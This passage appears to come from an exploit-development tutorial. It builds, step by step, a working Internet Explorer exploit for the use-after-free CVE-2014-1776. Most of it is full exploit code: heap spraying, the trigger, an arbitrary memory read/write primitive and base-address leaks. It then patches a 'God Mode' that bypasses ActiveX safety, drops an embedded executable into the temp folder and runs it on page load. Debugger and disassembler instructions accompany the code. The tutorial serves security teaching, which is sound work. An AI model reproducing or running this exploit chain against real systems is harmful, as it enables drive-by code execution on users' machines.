// Modify the second Array for reading/writing everywhere.
a[idx][array_len + 0x14/4] = 0x3fffffff;
a[idx][array_len + 0x18/4] = 0x3fffffff;
a[idx+1].length = 0x3fffffff;
var base_addr = magic_addr + 0x10000 + header_size;
// Very Important:
// The numbers in Array are signed int32. Numbers greater than 0x7fffffff are
// converted to 64-bit floating point.
// This means that we can't, for instance, write
// a[idx+1][index] = 0xc1a0c1a0;
// The number 0xc1a0c1a0 is too big to fit in a signed int32.
// We'll need to represent 0xc1a0c1a0 as a negative integer:
// a[idx+1][index] = -(0x100000000 - 0xc1a0c1a0);
function int2uint(x) {
return (x < 0) ? 0x100000000 + x : x;
}
function uint2int(x) {
return (x >= 0x80000000) ? x - 0x100000000 : x;
}
// The value returned will be in [0, 0xffffffff].
function read(addr) {
var delta = addr - base_addr;
var val;
if (delta >= 0)
val = a[idx+1][delta/4];
else
// In 2-complement arithmetic,
// -x/4 = (2^32 - x)/4
val = a[idx+1][(0x100000000 + delta)/4];
return int2uint(val);
}
// val must be in [0, 0xffffffff].
function write(addr, val) {
val = uint2int(val);
var delta = addr - base_addr;
if (delta >= 0)
a[idx+1][delta/4] = val;
else
// In 2-complement arithmetic,
// -x/4 = (2^32 - x)/4
a[idx+1][(0x100000000 + delta)/4] = val;
}
function get_addr(obj) {
a[idx+2][0] = obj;
return read(base_addr + 0x10000);
}
// Back to determining the base address of MSHTML...
// Here's the beginning of the element div:
// +----- jscript9!Projection::ArrayObjectInstance::`vftable' = jscript9 + 0x2d50
// v
// 04ab2d50 151f1ec0 00000000 00000000
// 6f5569ce 00000000 0085f5d8 00000000
// ^
// +---- MSHTML!CBaseTypeOperations::CBaseFinalizer = mshtml + 0x1569ce
var addr = get_addr(document.createElement("div"));
jscript9 = read(addr) - 0x2d50;
mshtml = read(addr + 0x10) - 0x1569ce;
var old1 = read(mshtml+0xebcd98+0x10);
var old2 = read(mshtml+0xebcd98+0x14);
function GodModeOn() {
write(mshtml+0xebcd98+0x10, jscript9+0x155e19);
write(mshtml+0xebcd98+0x14, jscript9+0x155d7d);
}
function GodModeOff() {
write(mshtml+0xebcd98+0x10, old1);
write(mshtml+0xebcd98+0x14, old2);
}
// content of exe file encoded in base64.
runcalc = 'TVqQAAMAAAAEAAAA//8AALgAAAAAA <snipped> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA';
function createExe(fname, data) {
GodModeOn();
var tStream = new ActiveXObject("ADODB.Stream");
var bStream = new ActiveXObject("ADODB.Stream");
GodModeOff();
tStream.Type = 2; // text
bStream.Type = 1; // binary
tStream.Open();
bStream.Open();
tStream.WriteText(data);
tStream.Position = 2; // skips the first 2 bytes in the tStream (what are they?)
tStream.CopyTo(bStream);
var bStream_addr = get_addr(bStream);
var string_addr = read(read(bStream_addr + 0x50) + 0x44);
write(string_addr, 0x003a0043); // 'C:'
write(string_addr + 4, 0x0000005c); // '\'
try {
bStream.SaveToFile(fname, 2); // 2 = overwrites file if it already exists
}
catch(err) {
return 0;
}
tStream.Close();
bStream.Close();
return 1;
}
function decode(b64Data) {
var data = window.atob(b64Data);
// Now data is like
// 11 00 12 00 45 00 50 00 ...
// rather than like
// 11 12 45 50 ...
// Let's fix this!
var arr = new Array();
for (var i = 0; i < data.length / 2; ++i) {
var low = data.charCodeAt(i*2);
var high = data.charCodeAt(i*2 + 1);
arr.push(String.fromCharCode(low + high * 0x100));
}
return arr.join('');
}
GodModeOn();
var shell = new ActiveXObject("WScript.shell");
GodModeOff();
fname = shell.ExpandEnvironmentStrings("%TEMP%\\runcalc.exe");
if (createExe(fname, decode(runcalc)) == 0) {
// alert("SaveToFile failed");
window.location.reload();
return 0;
}
shell.Exec(fname);
alert("Done");
})();
</script>
</head>
<body>
</body>
</html>
I snipped runcalc. You can download the full code from here: code5.
Now we need to develop a breakpoint which breaks exactly at the point of crash. This is necessary for when we remove the flag HPA and ECX points to a string of our choosing.
Let’s start by putting the following breakpoint right before we allow blocked content in IE:
bp MSHTML!CMarkup::IsConnectedToPrimaryMarkup
The breakpoint will be triggered many times before the crash. Moreover, if we click on the page in IE, the breakpoint will be triggered some more times. It’s better to put an initial breakpoint on a parent call which is called only after we allow blocked content in IE. The following breakpoint seems perfect:
bp MSHTML!CBase::put_BoolHelper
When the breakpoint is triggered, set also the following breakpoint:
bp MSHTML!CMarkup::IsConnectedToPrimaryMarkup
This last breakpoint is triggered 3 times before we reach the point (and time) of crash. So, from now on we can use the following standalone breakpoint:
bp MSHTML!CBase::put_BoolHelper "bc *; bp MSHTML!CMarkup::IsConnectedToPrimaryMarkup 3; g"
If you try it, you’ll see that it works perfectly!
Now we can finally try to make ECX point to our string. But before proceeding, disable the two flags HPA and UST:
This time I won’t show you how I determined the content of the string step by step because it’d be a very tedious exposition and you wouldn’t learn anything useful. First I’ll show you the relevant graphs so that you can follow along even without IDA, and then I’ll show you the complete “schema” used to exploit the UAF bug and modify the length of the chosen Array.
Open mshtml in IDA then press Ctrl+P (Jump to function), click on Search and enter CMarkup::IsConnectedToPrimaryMarkup. Double click on the function and you’ll see the crash point:
Image may be NSFW. Clik here to view.
The nodes with the colored background are the only nodes whose code we execute. The pink nodes contain the crash, whereas the celeste (light blue) nodes contain the overwriting instruction we’ll use to modify the length of the chosen Array.
Click on the signature of IsConnectedToPrimaryMarkup, press Ctrl+X and select CMarkup::OnCssChange (see again the stack trace above if you need to). Here’s the graph of OnCssChange:
Image may be NSFW. Clik here to view.
And, finally, this is the graph of CView::AddInvalidationTask, the function which contains the overwriting instruction (inc):
Conditions to control the bug and force an INC of dword at magic_addr + 0x1b:
X = [ptr+0A4h] ==> Y = [X+0ch] ==>
[Y+208h] is 0
[Y+630h+248h] = [Y+878h] val to inc! <======
[Y+630h+380h] = [Y+9b0h] has bit 16 set
[Y+630h+3f4h] = [Y+0a24h] has bit 7 set
[Y+1044h] is 0
U = [ptr+118h] ==> is 0 => V = [U-24h] => W = [V+1ch],
[W+0ah] has bit 1 set & bit 4 unset
[W+44h] has bit 7 set
[W+5ch] is writable
[ptr+198h] has bit 12 set
Let’s consider the first two lines:
X = [ptr+0A4h] ==> Y = [X+0ch] ==>
[Y+208h] is 0
The term ptr is the dangling pointer (which should point to our string). The two lines above means [Y+208h] must be 0, where Y is the value at X+0ch, where X is the value at ptr+0a4h.
Deducing such a schema can be time consuming and a little bit of trial and error may be necessary. The goal is to come up with a schema that results in an execution path which reaches the overwriting instruction and then resume the execution of the javascript code without any crashes.
It’s a good idea to start by identifying the must-nodes (in IDA), i.e. the nodes that must belong to the execution path. Then you can determine the conditions that must be met to make sure that those nodes belong to the execution path. Once you’ve done that, you start exploring the graph and see what are the suitable sub-paths for connecting the must-nodes.
You should check that the schema above is correct by looking at the graphs and following the execution path.
As we saw, the POC uses window.onload because it requires that the javascript code is executed after the page has fully loaded. We must do the same in our exploit. We also need to make the required changes to the rest of the page. Here’s the resulting code:
<html xmlns:v="urn:schemas-microsoft-com:vml">
<head id="haed">
<title>IE Case Study - STEP1</title>
<style>
v\:*{Behavior: url(#default#VML)}
</style>
<meta http-equiv="X-UA-Compatible" content="IE=EmulateIE9" />
<script language="javascript">
window.onload = function() {
CollectGarbage();
var header_size = 0x20;
var array_len = (0x10000 - header_size)/4;
var a = new Array();
for (var i = 0; i < 0x1000; ++i) {
a[i] = new Array(array_len);
a[i][0] = 0;
}
magic_addr = 0xc000000;
// /------- allocation header -------\ /--------- buffer header ---------\
// 0c000000: 00000000 0000fff0 00000000 00000000 00000000 00000001 00003ff8 00000000
// array_len buf_len
alert("Modify the \"Buffer length\" field of the Array at 0x" + magic_addr.toString(16));
// Locate the modified Array.
var idx = -1;
for (var i = 0; i < 0x1000 - 1; ++i) {
// We try to modify the first element of the next Array.
a[i][array_len + header_size/4] = 1;
// If we successfully modified the first element of the next Array, then a[i]
// is the Array whose length we modified.
if (a[i+1][0] == 1) {
idx = i;
break;
}
}
if (idx == -1) {
alert("Can't find the modified Array");
return;
}
// Modify the second Array for reading/writing everywhere.
a[idx][array_len + 0x14/4] = 0x3fffffff;
a[idx][array_len + 0x18/4] = 0x3fffffff;
a[idx+1].length = 0x3fffffff;
var base_addr = magic_addr + 0x10000 + header_size;
// Very Important:
// The numbers in Array are signed int32. Numbers greater than 0x7fffffff are
// converted to 64-bit floating point.
// This means that we can't, for instance, write
// a[idx+1][index] = 0xc1a0c1a0;
// The number 0xc1a0c1a0 is too big to fit in a signed int32.
// We'll need to represent 0xc1a0c1a0 as a negative integer:
// a[idx+1][index] = -(0x100000000 - 0xc1a0c1a0);
function int2uint(x) {
return (x < 0) ? 0x100000000 + x : x;
}
function uint2int(x) {
return (x >= 0x80000000) ? x - 0x100000000 : x;
}
// The value returned will be in [0, 0xffffffff].
function read(addr) {
var delta = addr - base_addr;
var val;
if (delta >= 0)
val = a[idx+1][delta/4];
else
// In 2-complement arithmetic,
// -x/4 = (2^32 - x)/4
val = a[idx+1][(0x100000000 + delta)/4];
return int2uint(val);
}
// val must be in [0, 0xffffffff].
function write(addr, val) {
val = uint2int(val);
var delta = addr - base_addr;
if (delta >= 0)
a[idx+1][delta/4] = val;
else
// In 2-complement arithmetic,
// -x/4 = (2^32 - x)/4
a[idx+1][(0x100000000 + delta)/4] = val;
}
function get_addr(obj) {
a[idx+2][0] = obj;
return read(base_addr + 0x10000);
}
// Back to determining the base address of MSHTML...
// Here's the beginning of the element div:
// +----- jscript9!Projection::ArrayObjectInstance::`vftable' = jscript9 + 0x2d50
// v
// 04ab2d50 151f1ec0 00000000 00000000
// 6f5569ce 00000000 0085f5d8 00000000
// ^
// +---- MSHTML!CBaseTypeOperations::CBaseFinalizer = mshtml + 0x1569ce
var addr = get_addr(document.createElement("div"));
jscript9 = read(addr) - 0x2d50;
mshtml = read(addr + 0x10) - 0x1569ce;
var old1 = read(mshtml+0xebcd98+0x10);
var old2 = read(mshtml+0xebcd98+0x14);
function GodModeOn() {
write(mshtml+0xebcd98+0x10, jscript9+0x155e19);
write(mshtml+0xebcd98+0x14, jscript9+0x155d7d);
}
function GodModeOff() {
write(mshtml+0xebcd98+0x10, old1);
write(mshtml+0xebcd98+0x14, old2);
}
// content of exe file encoded in base64.
runcalc = 'TVqQAAMAAAAEAAAA//8AALgAAAAAA <snipped> AAAAAAAAAAAAAAAAAAAAAAAAAAAAA';
function createExe(fname, data) {
GodModeOn();
var tStream = new ActiveXObject("ADODB.Stream");
var bStream = new ActiveXObject("ADODB.Stream");
GodModeOff();
tStream.Type = 2; // text
bStream.Type = 1; // binary
tStream.Open();
bStream.Open();
tStream.WriteText(data);
tStream.Position = 2; // skips the first 2 bytes in the tStream (what are they?)
tStream.CopyTo(bStream);
var bStream_addr = get_addr(bStream);
var string_addr = read(read(bStream_addr + 0x50) + 0x44);
write(string_addr, 0x003a0043); // 'C:'
write(string_addr + 4, 0x0000005c); // '\'
try {
bStream.SaveToFile(fname, 2); // 2 = overwrites file if it already exists
}
catch(err) {
return 0;
}
tStream.Close();
bStream.Close();
return 1;
}
function decode(b64Data) {
var data = window.atob(b64Data);
// Now data is like
// 11 00 12 00 45 00 50 00 ...
// rather than like
// 11 12 45 50 ...
// Let's fix this!
var arr = new Array();
for (var i = 0; i < data.length / 2; ++i) {
var low = data.charCodeAt(i*2);
var high = data.charCodeAt(i*2 + 1);
arr.push(String.fromCharCode(low + high * 0x100));
}
return arr.join('');
}
GodModeOn();
var shell = new ActiveXObject("WScript.shell");
GodModeOff();
fname = shell.ExpandEnvironmentStrings("%TEMP%\\runcalc.exe");
if (createExe(fname, decode(runcalc)) == 0) {
// alert("SaveToFile failed");
window.location.reload();
return 0;
}
shell.Exec(fname);
alert("Done");
}
</script>
</head>
<body><v:group id="vml" style="width:500pt;"><div></div></group></body>
</html>
I snipped runcalc. You can download the full code from here: code6.
How can we determine the base address of mshtml.dll without a pointer to a vftable in it?
We need to find another way. For now, we learned that the div element is represented by an object of type jscript9!HostDispatch. But we’ve already seen this object in action. Do you remember the stack trace of the crash? Here it is again:
It’s clear that jscript9!HostDispatch::CallInvokeEx knows the address of the function MSHTML!CBase::PrivateInvokeEx and if we’re lucky, this address is reachable from the object HostDispatch (remember that we know the address of an object of this very type).
Let’s examine jscript9!HostDispatch::CallInvokeEx in IDA. Load jscript9 in IDA and then press Ctrl+P to locate CallInvokeEx. Now you can click on any instruction to see its offset relative to the current function. We want to locate the instruction at offset 0xae of CallInvokeEx:
// Here's the beginning of the element div:
// +----- jscript9!HostDispatch::`vftable' = jscript9 + 0x5480
// v
// 6cc55480 05354280 00000000 0536cfb0
//
// To find the vftable MSHTML!CDivElement::`vftable', we must follow a chain of pointers:
// X = [div_elem+0ch]
// X = [X+8]
// obj_ptr = [X+10h]
// vftptr = [obj_ptr]
// where vftptr = vftable MSHTML!CDivElement::`vftable' = mshtml + 0x3aeb04.
var addr = get_addr(document.createElement("div"));
jscript9 = read(addr) - 0x5480;
mshtml = read(read(read(read(addr + 0xc) + 8) + 0x10)) - 0x3aeb04;
alert(jscript9.toString(16));
alert(mshtml.toString(16));
return;
Try it out: is should work just fine!
Now remove the two alerts and the return. Mmm… the calculator doesn’t appear, so there must be something wrong (again!). To see what’s wrong, we can rely on the Developer Tools. It seems that when the Developer Tools are enabled our God Mode doesn’t work. Just authorize the execution of the ActiveXObject and you should see the following error:
<html xmlns:v="urn:schemas-microsoft-com:vml">
<head id="haed">
<title>IE Case Study - STEP1</title>
<style>
v\:*{Behavior: url(#default#VML)}
</style>
<meta http-equiv="X-UA-Compatible" content="IE=EmulateIE9" />
<script language="javascript">
window.onload = function() {
CollectGarbage();
var header_size = 0x20;
var array_len = (0x10000 - header_size)/4;
var a = new Array();
for (var i = 0; i < 0x1000; ++i) {
a[i] = new Array(array_len);
a[i][0] = 0;
}
magic_addr = 0xc000000;
// /------- allocation header -------\ /--------- buffer header ---------\
// 0c000000: 00000000 0000fff0 00000000 00000000 00000000 00000001 00003ff8 00000000
// array_len buf_len
alert("Modify the \"Buffer length\" field of the Array at 0x" + magic_addr.toString(16));
// Locate the modified Array.
var idx = -1;
for (var i = 0; i < 0x1000 - 1; ++i) {
// We try to modify the first element of the next Array.
a[i][array_len + header_size/4] = 1;
// If we successfully modified the first element of the next Array, then a[i]
// is the Array whose length we modified.
if (a[i+1][0] == 1) {
idx = i;
break;
}
}
if (idx == -1) {
alert("Can't find the modified Array");
return;
}
// Modify the second Array for reading/writing everywhere.
a[idx][array_len + 0x14/4] = 0x3fffffff;
a[idx][array_len + 0x18/4] = 0x3fffffff;
a[idx+1].length = 0x3fffffff;
var base_addr = magic_addr + 0x10000 + header_size;
// Very Important:
// The numbers in Array are signed int32. Numbers greater than 0x7fffffff are
// converted to 64-bit floating point.
// This means that we can't, for instance, write
// a[idx+1][index] = 0xc1a0c1a0;
// The number 0xc1a0c1a0 is too big to fit in a signed int32.
// We'll need to represent 0xc1a0c1a0 as a negative integer:
// a[idx+1][index] = -(0x100000000 - 0xc1a0c1a0);
function int2uint(x) {
return (x < 0) ? 0x100000000 + x : x;
}
function uint2int(x) {
return (x >= 0x80000000) ? x - 0x100000000 : x;
}
// The value returned will be in [0, 0xffffffff].
function read(addr) {
var delta = addr - base_addr;
var val;
if (delta >= 0)
val = a[idx+1][delta/4];
else
// In 2-complement arithmetic,
// -x/4 = (2^32 - x)/4
val = a[idx+1][(0x100000000 + delta)/4];
return int2uint(val);
}
// val must be in [0, 0xffffffff].
function write(addr, val) {
val = uint2int(val);
var delta = addr - base_addr;
if (delta >= 0)
a[idx+1][delta/4] = val;
else
// In 2-complement arithmetic,
// -x/4 = (2^32 - x)/4
a[idx+1][(0x100000000 + delta)/4] = val;
}
function get_addr(obj) {
a[idx+2][0] = obj;
return read(base_addr + 0x10000);
}
// Here's the beginning of the element div:
// +----- jscript9!HostDispatch::`vftable' = jscript9 + 0x5480
// v
// 6cc55480 05354280 00000000 0536cfb0
//
// To find the vftable MSHTML!CDivElement::`vftable', we must follow a chain of pointers:
// X = [div_elem+0ch]
// X = [X+8]
// obj_ptr = [X+10h]
// vftptr = [obj_ptr]
// where vftptr = vftable MSHTML!CDivElement::`vftable' = mshtml + 0x3aeb04.
var addr = get_addr(document.createElement("div"));
jscript9 = read(addr) - 0x5480;
mshtml = read(read(read(read(addr + 0xc) + 8) + 0x10)) - 0x3aeb04;
var old1 = read(mshtml+0xebcd98+0x10);
var old2 = read(mshtml+0xebcd98+0x14);
function GodModeOn() {
write(mshtml+0xebcd98+0x10, jscript9+0x155e19);
write(mshtml+0xebcd98+0x14, jscript9+0x155d7d);
}
function GodModeOff() {
write(mshtml+0xebcd98+0x10, old1);
write(mshtml+0xebcd98+0x14, old2);
}
// content of exe file encoded in base64.
runcalc = 'TVqQAAMAAAAEAAAA//8AALgAAAAAA <snipped> AAAAAAAAAAAAAAAAAAAAAAAAAAAAA';
function createExe(fname, data) {
GodModeOn();
var tStream = new ActiveXObject("ADODB.Stream");
var bStream = new ActiveXObject("ADODB.Stream");
GodModeOff();
tStream.Type = 2; // text
bStream.Type = 1; // binary
tStream.Open();
bStream.Open();
tStream.WriteText(data);
tStream.Position = 2; // skips the first 2 bytes in the tStream (what are they?)
tStream.CopyTo(bStream);
var bStream_addr = get_addr(bStream);
var string_addr = read(read(bStream_addr + 0x50) + 0x44);
write(string_addr, 0x003a0043); // 'C:'
write(string_addr + 4, 0x0000005c); // '\'
try {
bStream.SaveToFile(fname, 2); // 2 = overwrites file if it already exists
}
catch(err) {
return 0;
}
tStream.Close();
bStream.Close();
return 1;
}
// decoder
// [https://gist.github.com/1020396] by [https://github.com/atk]
function atob(input) {
var chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';
var str = String(input).replace(/=+$/, '');
if (str.length % 4 == 1) {
throw new InvalidCharacterError("'atob' failed: The string to be decoded is not correctly encoded.");
}
for (
// initialize result and counters
var bc = 0, bs, buffer, idx = 0, output = '';
// get next character
buffer = str.charAt(idx++);
// character found in table? initialize bit storage and add its ascii value;
~buffer && (bs = bc % 4 ? bs * 64 + buffer : buffer,
// and if not first of each 4 characters,
// convert the first 8 bits to one ascii character
bc++ % 4) ? output += String.fromCharCode(255 & bs >> (-2 * bc & 6)) : 0
) {
// try to find character in table (0-63, not found => -1)
buffer = chars.indexOf(buffer);
}
return output;
}
function decode(b64Data) {
var data = atob(b64Data);
// Now data is like
// 11 00 12 00 45 00 50 00 ...
// rather than like
// 11 12 45 50 ...
// Let's fix this!
var arr = new Array();
for (var i = 0; i < data.length / 2; ++i) {
var low = data.charCodeAt(i*2);
var high = data.charCodeAt(i*2 + 1);
arr.push(String.fromCharCode(low + high * 0x100));
}
return arr.join('');
}
GodModeOn();
var shell = new ActiveXObject("WScript.shell");
GodModeOff();
fname = shell.ExpandEnvironmentStrings("%TEMP%\\runcalc.exe");
if (createExe(fname, decode(runcalc)) == 0) {
alert("SaveToFile failed");
window.location.reload();
return 0;
}
shell.Exec(fname);
alert("Done");
}
</script>
</head>
<body><v:group id="vml" style="width:500pt;"><div></div></group></body>
</html>
As before, I snipped runcalc. You can download the full code from here: code7.
Now the calculator pops up and everything seems to work fine until we get a crash. The crash doesn’t always happen but there’s definitely something wrong with the code. A crash is probably caused by an incorrect write. Since the God Mode works correctly, the problem must be with the two writes right before the call to bStream.SaveToFile.
Let’s comment out the two writes and try again. Perfect! Now there are no more crashes! But we can’t just leave out the two writes. If we use SimpleServer, it doesn’t work of course because the two writes are needed. Maybe surprisingly, if we add back the two writes, everything works just fine.
If we investigate things a bit, we discover that when the html page is loaded in IE directly from the hard disk, string_addr points to a null dword. On the other hand, when the page is loaded by going to 127.0.0.1 and is served by SimpleServer, string_addr points to the Unicode string http://127.0.0.1/. For this reason, we should change the code as follows:
var bStream_addr = get_addr(bStream);
var string_addr = read(read(bStream_addr + 0x50) + 0x44);
if (read(string_addr) != 0) { // only when there is a string to overwrite
write(string_addr, 0x003a0043); // 'C:'
write(string_addr + 4, 0x0000005c); // '\'
}
try {
bStream.SaveToFile(fname, 2); // 2 = overwrites file if it already exists
}
catch(err) {
return 0;
}
Completing the exploit (2)
It’s high time we completed this exploit! Here’s the full code:
<html xmlns:v="urn:schemas-microsoft-com:vml">
<head id="haed">
<title>IE Case Study - STEP1</title>
<style>
v\:*{Behavior: url(#default#VML)}
</style>
<meta http-equiv="X-UA-Compatible" content="IE=EmulateIE9" />
<script language="javascript">
magic_addr = 0xc000000;
function dword2Str(dword) {
var low = dword % 0x10000;
var high = Math.floor(dword / 0x10000);
if (low == 0 || high == 0)
alert("dword2Str: null wchars not allowed");
return String.fromCharCode(low, high);
}
function getPattern(offset_values, tot_bytes) {
if (tot_bytes % 4 != 0)
alert("getPattern(): tot_bytes is not a multiple of 4");
var pieces = new Array();
var pos = 0;
for (i = 0; i < offset_values.length/2; ++i) {
var offset = offset_values[i*2];
var value = offset_values[i*2 + 1];
var padding = new Array((offset - pos)/2 + 1).join("a");
pieces.push(padding + dword2Str(value));
pos = offset + 4;
}
// The "- 2" accounts for the null wchar at the end of the string.
var padding = new Array((tot_bytes - 2 - pos)/2 + 1).join("a");
pieces.push(padding);
return pieces.join("");
}
function trigger() {
var head = document.getElementById("haed")
tmp = document.createElement("CVE-2014-1776")
document.getElementById("vml").childNodes[0].appendChild(tmp)
tmp.appendChild(head)
tmp = head.offsetParent
tmp.onpropertychange = function(){
this["removeNode"](true)
document.createElement("CVE-2014-1776").title = ""
var elem = document.createElement("div");
elem.className = getPattern([
0xa4, magic_addr + 0x20 - 0xc, // X; X+0xc --> b[0]
0x118, magic_addr + 0x24 + 0x24, // U; U --> (*); U-0x24 --> b[1]
0x198, -1 // bit 12 set
], 0x428);
}
head.firstChild.nextSibling.disabled = head
}
// The object is 0x428 bytes.
// Conditions to control the bug and force an INC of dword at magic_addr + 0x1b:
// X = [ptr+0A4h] ==> Y = [X+0ch] ==>
// [Y+208h] is 0
// [Y+630h+248h] = [Y+878h] val to inc! <======
// [Y+630h+380h] = [Y+9b0h] has bit 16 set
// [Y+630h+3f4h] = [Y+0a24h] has bit 7 set
// [Y+1044h] is 0
// U = [ptr+118h] ==> [U] is 0 => V = [U-24h] => W = [V+1ch],
// [W+0ah] has bit 1 set & bit 4 unset
// [W+44h] has bit 7 set
// [W+5ch] is writable
// [ptr+198h] has bit 12 set
window.onload = function() {
CollectGarbage();
var header_size = 0x20;
var array_len = (0x10000 - header_size)/4;
var a = new Array();
for (var i = 0; i < 0x1000; ++i) {
a[i] = new Array(array_len);
var idx;
b = a[i];
b[0] = magic_addr + 0x1b - 0x878; // Y
idx = Math.floor((b[0] + 0x9b0 - (magic_addr + 0x20))/4); // index for Y+9b0h
b[idx] = -1; b[idx+1] = -1;
idx = Math.floor((b[0] + 0xa24 - (magic_addr + 0x20))/4); // index for Y+0a24h
b[idx] = -1; b[idx+1] = -1;
idx = Math.floor((b[0] + 0x1044 - (magic_addr + 0x20))/4); // index for Y+1044h
b[idx] = 0; b[idx+1] = 0;
// The following address would be negative so we add 0x10000 to translate the address
// from the previous copy of the array to this one.
idx = Math.floor((b[0] + 0x208 - (magic_addr + 0x20) + 0x10000)/4); // index for Y+208h
b[idx] = 0; b[idx+1] = 0;
b[1] = magic_addr + 0x28 - 0x1c; // V, [U-24h]; V+1ch --> b[2]
b[(0x24 + 0x24 - 0x20)/4] = 0; // [U] (*)
b[2] = magic_addr + 0x2c - 0xa; // W; W+0ah --> b[3]
b[3] = 2; // [W+0ah]
idx = Math.floor((b[2] + 0x44 - (magic_addr + 0x20))/4); // index for W+44h
b[idx] = -1; b[idx+1] = -1;
}
// /------- allocation header -------\ /--------- buffer header ---------\
// 0c000000: 00000000 0000fff0 00000000 00000000 00000000 00000001 00003ff8 00000000
// array_len buf_len
// alert("Modify the \"Buffer length\" field of the Array at 0x" + magic_addr.toString(16));
trigger();
// Locate the modified Array.
idx = -1;
for (var i = 0; i < 0x1000 - 1; ++i) {
// We try to modify the first element of the next Array.
a[i][array_len + header_size/4] = 1;
// If we successfully modified the first element of the next Array, then a[i]
// is the Array whose length we modified.
if (a[i+1][0] == 1) {
idx = i;
break;
}
}
if (idx == -1) {
// alert("Can't find the modified Array");
window.location.reload();
return;
}
// Modify the second Array for reading/writing everywhere.
a[idx][array_len + 0x14/4] = 0x3fffffff;
a[idx][array_len + 0x18/4] = 0x3fffffff;
a[idx+1].length = 0x3fffffff;
var base_addr = magic_addr + 0x10000 + header_size;
// Very Important:
// The numbers in Array are signed int32. Numbers greater than 0x7fffffff are
// converted to 64-bit floating point.
// This means that we can't, for instance, write
// a[idx+1][index] = 0xc1a0c1a0;
// The number 0xc1a0c1a0 is too big to fit in a signed int32.
// We'll need to represent 0xc1a0c1a0 as a negative integer:
// a[idx+1][index] = -(0x100000000 - 0xc1a0c1a0);
function int2uint(x) {
return (x < 0) ? 0x100000000 + x : x;
}
function uint2int(x) {
return (x >= 0x80000000) ? x - 0x100000000 : x;
}
// The value returned will be in [0, 0xffffffff].
function read(addr) {
var delta = addr - base_addr;
var val;
if (delta >= 0)
val = a[idx+1][delta/4];
else
// In 2-complement arithmetic,
// -x/4 = (2^32 - x)/4
val = a[idx+1][(0x100000000 + delta)/4];
return int2uint(val);
}
// val must be in [0, 0xffffffff].
function write(addr, val) {
val = uint2int(val);
var delta = addr - base_addr;
if (delta >= 0)
a[idx+1][delta/4] = val;
else
// In 2-complement arithmetic,
// -x/4 = (2^32 - x)/4
a[idx+1][(0x100000000 + delta)/4] = val;
}
function get_addr(obj) {
a[idx+2][0] = obj;
return read(base_addr + 0x10000);
}
// Here's the beginning of the element div:
// +----- jscript9!HostDispatch::`vftable' = jscript9 + 0x5480
// v
// 6cc55480 05354280 00000000 0536cfb0
//
// To find the vftable MSHTML!CDivElement::`vftable', we must follow a chain of pointers:
// X = [div_elem+0ch]
// X = [X+8]
// obj_ptr = [X+10h]
// vftptr = [obj_ptr]
// where vftptr = vftable MSHTML!CDivElement::`vftable' = mshtml + 0x3aeb04.
var addr = get_addr(document.createElement("div"));
jscript9 = read(addr) - 0x5480;
mshtml = read(read(read(read(addr + 0xc) + 8) + 0x10)) - 0x3aeb04;
var old1 = read(mshtml+0xebcd98+0x10);
var old2 = read(mshtml+0xebcd98+0x14);
function GodModeOn() {
write(mshtml+0xebcd98+0x10, jscript9+0x155e19);
write(mshtml+0xebcd98+0x14, jscript9+0x155d7d);
}
function GodModeOff() {
write(mshtml+0xebcd98+0x10, old1);
write(mshtml+0xebcd98+0x14, old2);
}
// content of exe file encoded in base64.
runcalc = 'TVqQAAMAAAAEAAAA//8AALgAAAAAA <snipped> AAAAAAAAAAAAAAAAAAAAAAAAAAAAA';
function createExe(fname, data) {
GodModeOn();
var tStream = new ActiveXObject("ADODB.Stream");
var bStream = new ActiveXObject("ADODB.Stream");
GodModeOff();
tStream.Type = 2; // text
bStream.Type = 1; // binary
tStream.Open();
bStream.Open();
tStream.WriteText(data);
tStream.Position = 2; // skips the first 2 bytes in the tStream (what are they?)
tStream.CopyTo(bStream);
var bStream_addr = get_addr(bStream);
var string_addr = read(read(bStream_addr + 0x50) + 0x44);
if (read(string_addr) != 0) { // only when there is a string to overwrite
write(string_addr, 0x003a0043); // 'C:'
write(string_addr + 4, 0x0000005c); // '\'
}
try {
bStream.SaveToFile(fname, 2); // 2 = overwrites file if it already exists
}
catch(err) {
return 0;
}
tStream.Close();
bStream.Close();
return 1;
}
// decoder
// [https://gist.github.com/1020396] by [https://github.com/atk]
function atob(input) {
var chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';
var str = String(input).replace(/=+$/, '');
if (str.length % 4 == 1) {
throw new InvalidCharacterError("'atob' failed: The string to be decoded is not correctly encoded.");
}
for (
// initialize result and counters
var bc = 0, bs, buffer, idx = 0, output = '';
// get next character
buffer = str.charAt(idx++);
// character found in table? initialize bit storage and add its ascii value;
~buffer && (bs = bc % 4 ? bs * 64 + buffer : buffer,
// and if not first of each 4 characters,
// convert the first 8 bits to one ascii character
bc++ % 4) ? output += String.fromCharCode(255 & bs >> (-2 * bc & 6)) : 0
) {
// try to find character in table (0-63, not found => -1)
buffer = chars.indexOf(buffer);
}
return output;
}
function decode(b64Data) {
var data = atob(b64Data);
// Now data is like
// 11 00 12 00 45 00 50 00 ...
// rather than like
// 11 12 45 50 ...
// Let's fix this!
var arr = new Array();
for (var i = 0; i < data.length / 2; ++i) {
var low = data.charCodeAt(i*2);
var high = data.charCodeAt(i*2 + 1);
arr.push(String.fromCharCode(low + high * 0x100));
}
return arr.join('');
}
GodModeOn();
var shell = new ActiveXObject("WScript.shell");
GodModeOff();
fname = shell.ExpandEnvironmentStrings("%TEMP%\\runcalc.exe");
if (createExe(fname, decode(runcalc)) == 0) {
// alert("SaveToFile failed");
window.location.reload();
return 0;
}
shell.Exec(fname);
// alert("Done");
}
</script>
</head>
<body><v:group id="vml" style="width:500pt;"><div></div></group></body>
</html>
Once again, I snipped runcalc. You can download the full code from here: code8.
This code works fine but IE may crash from time to time. This isn’t a major problem because when the user closes the crash dialog box the page is reloaded and the exploit is run again.
The new code has some subtleties so let’s discuss the important points. Let’s start with trigger():
function trigger() {
var head = document.getElementById("haed")
tmp = document.createElement("CVE-2014-1776")
document.getElementById("vml").childNodes[0].appendChild(tmp)
tmp.appendChild(head)
tmp = head.offsetParent
tmp.onpropertychange = function(){
this["removeNode"](true)
document.createElement("CVE-2014-1776").title = ""
var elem = document.createElement("div");
elem.className = getPattern([
0xa4, magic_addr + 0x20 - 0xc, // X; X+0xc --> b[0]
0x118, magic_addr + 0x24 + 0x24, // U; U --> (*); U-0x24 --> b[1]
0x198, -1 // bit 12 set
], 0x428);
}
head.firstChild.nextSibling.disabled = head
}
